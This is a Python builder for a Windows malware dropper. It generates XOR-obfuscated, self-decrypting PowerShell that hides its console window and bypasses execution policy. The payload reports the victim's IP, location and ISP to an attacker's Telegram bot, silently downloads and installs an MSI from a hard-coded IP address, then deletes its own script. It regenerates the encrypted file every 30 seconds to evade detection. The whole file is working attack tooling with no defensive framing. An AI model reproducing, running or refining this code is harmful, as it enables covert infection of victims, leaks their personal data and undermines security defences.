import time
import random
import string
import os
import sys


def load_config():
    config_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "config.txt")
    if not os.path.exists(config_path):
        print(f"[!] config.txt not found: {config_path}")
        sys.exit(1)

    config = {}
    with open(config_path, 'r', encoding='utf-8') as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith('#'):
                continue
            if '=' in line:
                key, value = line.split('=', 1)
                config[key.strip()] = value.strip()

    token = config.get("BOT_TOKEN")
    chat_id = config.get("CHAT_ID")

    if not token or not chat_id:
        print("[!] BOT_TOKEN and CHAT_ID must be set in config.txt")
        sys.exit(1)

    return token, chat_id


def build_stage(token: str, chat_id: str) -> str:
    # Title built from codepoints (ASCII-only .ps1) — avoids CP1252 mojibake on DE/etc.
    # 📥 = U+1F4E5; Новый = U+041D U+043E U+0432 U+044B U+0439
    tg_block = "".join([
        "try{",
        "$wc2=New-Object Net.WebClient;",
        "$wc2.Encoding=[Text.Encoding]::UTF8;",
        "$geo=$wc2.DownloadString('http://ip-api.com/json/?fields=status,countryCode,city,isp,query')|ConvertFrom-Json;",
        "if($geo.status -ne 'success'){throw 'geo fail'};",
        "$ip=[string]$geo.query;$cc=([string]$geo.countryCode).ToUpper();$city=[string]$geo.city;$isp=[string]$geo.isp;",
        "$flag=[char]::ConvertFromUtf32(0x1F1E6+[int][char]$cc[0]-65)+[char]::ConvertFromUtf32(0x1F1E6+[int][char]$cc[1]-65);",
        "$date=[DateTime]::UtcNow.ToString('yyyy-MM-ddTHH:mm:ss.fffZ');",
        "$title=[char]::ConvertFromUtf32(0x1F4E5)+' '+(-join [char[]](0x041D,0x043E,0x0432,0x044B,0x0439))+' download';",
        "$msg=[string]::Join([char]10,@($title,('IP: '+$ip),($flag+' '+$cc+'| '+$city),('ISP: '+$isp),$date));",
        f"$token='{token}';",
        f"$chatId='{chat_id}';",
        "$body=@{chat_id=$chatId;text=$msg}|ConvertTo-Json -Compress;",
        "$wc3=New-Object Net.WebClient;",
        "$wc3.Encoding=[Text.Encoding]::UTF8;",
        "$wc3.Headers.Add('Content-Type','application/json; charset=utf-8');",
        "[void]$wc3.UploadString(\"https://api.telegram.org/bot$token/sendMessage\",$body)",
        "}catch{};",
    ])

    stage = "".join([
        "$ErrorActionPreference='Stop';",
        "$log=Join-Path $env:TEMP 'msi_stage.log';",
        "function W($m){Add-Content -LiteralPath $log -Value ((Get-Date -Format o)+' '+$m) -EA SilentlyContinue};",
        "W 'stage start';",
        tg_block,
        "try{",
        "$msiUrl='http://2.26.252.84/UMWPXPNC.msi';",
        "$msiPath=Join-Path $env:TEMP 'UMWPXPNC.msi';",
        "$wc=New-Object Net.WebClient;",
        "W 'download msi';",
        "$wc.DownloadFile($msiUrl,$msiPath);",
        "if(-not(Test-Path $msiPath)){throw 'msi missing'};",
        "$len=(Get-Item $msiPath).Length;if($len -lt 1024){throw ('msi too small '+$len)};",
        "W ('msi bytes='+$len);",
        "W 'start msi';",
        "Start-Process 'msiexec.exe' -ArgumentList ('/i \"'+$msiPath+'\" /qn') -WindowStyle Hidden;",
        "W 'done'",
        "}catch{W ('FAIL: '+$_.Exception.Message)}",
        "finally{Remove-Item -LiteralPath $PSCommandPath -Force -EA SilentlyContinue}",
    ])
    return stage


def build_payload(stage: str) -> str:
    _stage_ps = stage.replace("'", "''")
    # Hide this console ASAP, then spawn stage with no window (no flash from child).
    payload = "".join([
        "try{Add-Type -Name W -Namespace Z -MemberDefinition '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();';[void][Z.W]::ShowWindow([Z.W]::GetConsoleWindow(),0)}catch{};",
        "$ErrorActionPreference='Stop';",
        "$work=Join-Path $env:TEMP ([guid]::NewGuid().Guid+'.ps1');",
        "$utf8=New-Object System.Text.UTF8Encoding $true;",
        f"[IO.File]::WriteAllText($work,'{_stage_ps}',$utf8);",
        "$ps=Join-Path $env:SystemRoot 'System32\\WindowsPowerShell\\v1.0\\powershell.exe';",
        "Start-Process -FilePath $ps -WindowStyle Hidden -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-WindowStyle','Hidden','-File',$work)",
    ])
    return payload


def generate_key(length=16):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))


def encrypt(data: bytes, key: str) -> str:
    key_bytes = key.encode('utf-8')
    encrypted = bytes([ch ^ key_bytes[i % len(key_bytes)] for i, ch in enumerate(data)])
    return encrypted.hex()


def write_to_file(key: str, encrypted_data: str, filename: str = "nlkqouiyfvtg"):
    # Hide console first (outer host), then decrypt/run payload.
    hide = (
        "try{Add-Type -Name W -Namespace Z -MemberDefinition '"
        '[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr h,int n);'
        '[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();'
        "';[void][Z.W]::ShowWindow([Z.W]::GetConsoleWindow(),0)}catch{};"
    )
    content = (
        hide
        + f'''$k='{key}';$d='{encrypted_data}';$b=New-Object byte[] ($d.Length/2);foreach($i in 0..($b.Length-1)){{$b[$i]=[Convert]::ToByte($d.Substring($i*2,2),16)-bxor[byte][char]$k[$i%$k.Length]}};$s=[Text.Encoding]::UTF8.GetString($b);. ([ScriptBlock]::Create($s))'''
    )
    with open(filename, 'w', encoding='utf-8') as f:
        f.write(content)
    print(f"[+] File {filename} updated. Key: {key}")


def main():
    token, chat_id = load_config()
    stage = build_stage(token, chat_id)
    payload = build_payload(stage)

    print(f"[*] MSI sideload + TG notify (no admin). Ctrl+C to stop")
    print(f"[*] TG bot: ...{token[-8:]}, chat: {chat_id}")
    while True:
        try:
            key = generate_key(16)
            encrypted_data = encrypt(payload.encode('utf-8'), key)
            write_to_file(key, encrypted_data)
            time.sleep(30)
        except KeyboardInterrupt:
            print("\n[!] Stopped by user")
            break
        except Exception as e:
            print(f"[!] Error: {e}")
            time.sleep(5)


if __name__ == "__main__":
    main()
